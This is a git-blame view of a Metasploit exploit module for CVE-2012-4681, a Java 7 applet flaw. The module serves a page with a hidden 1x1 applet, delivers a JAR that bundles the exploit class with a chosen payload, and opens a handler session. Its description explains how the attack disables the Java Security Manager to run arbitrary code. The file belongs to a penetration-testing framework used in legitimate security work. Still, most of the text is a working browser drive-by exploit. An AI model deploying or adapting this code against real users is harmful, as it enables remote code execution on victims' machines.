Files
metasploit-gs/modules/exploits/multi/browser/java_jre17_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

130 lines
4.6 KiB
Ruby
Raw Normal View History

2012-08-27 11:25:04 +02:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-08-27 11:25:04 +02:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-08-27 11:25:04 +02:00
Rank = ExcellentRanking
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
include Msf::Exploit::Remote::HttpServer::HTML
2013-08-30 16:28:54 -05:00
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({ :javascript => false })
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
2012-08-29 11:10:35 -05:00
The exploit takes advantage of two issues in JDK 7: The ClassFinder and
MethodFinder.findMethod(). Both were newly introduced in JDK 7. ClassFinder is a
replacement for classForName back in JDK 6. It allows untrusted code to obtain a
reference and have access to a restricted package in JDK 7, which can be used to
abuse sun.awt.SunToolkit (a restricted package). With sun.awt.SunToolkit, we can
actually invoke getField() by abusing findMethod() in Statement.invokeInternal()
(but getField() must be public, and that's not always the case in JDK 6) in order
to access Statement.acc's private field, modify AccessControlContext, and then
disable Security Manager. Once Security Manager is disabled, we can execute
arbitrary Java code.
2013-08-30 16:28:54 -05:00
2012-08-29 11:10:35 -05:00
Our exploit has been tested successfully against multiple platforms, including:
IE, Firefox, Safari, Chrome; Windows, Ubuntu, OS X, Solaris, etc.
2012-08-27 11:25:04 +02:00
},
'License' => MSF_LICENSE,
'Author' =>
[
2012-09-22 02:29:20 -05:00
'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory
'James Forshaw', # Vulnerability discovery according to Oracle's advisory
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez' # metasploit module
2012-08-27 11:25:04 +02:00
],
'References' =>
[
2012-08-28 01:21:32 -05:00
[ 'CVE', '2012-4681' ],
[ 'OSVDB', '84867' ],
2012-08-27 11:25:04 +02:00
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
2012-08-27 13:24:43 -05:00
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-vulnerability-analysis.html' ],
2012-08-27 13:29:27 -05:00
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/new-java-0day-exploited-in-the-wild/' ],
2012-08-30 14:04:16 -05:00
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ],
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2012-4681-1835715.html' ],
2022-01-23 15:28:32 -05:00
[ 'URL', 'https://www.rapid7.com/blog/post/2012/08/27/lets-start-the-week-with-a-new-java-0day' ],
2012-09-03 23:58:21 -05:00
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=852051']
2012-08-27 11:25:04 +02:00
],
'Platform' => %w{ java linux win },
2012-08-27 11:25:04 +02:00
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
2012-08-27 11:25:04 +02:00
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-08-26'
2012-08-27 11:25:04 +02:00
))
end
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
def on_request_uri( cli, request )
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
print_status("#{self.name} handling request")
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
paths = [
[ "Exploit.class" ]
]
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
p = regenerate_payload(cli)
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
2013-09-26 20:34:48 +01:00
fd = File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2012-4681", path ), "rb")
2012-08-27 11:25:04 +02:00
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
handler( cli )
end
2013-08-30 16:28:54 -05:00
2012-08-27 11:25:04 +02:00
def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end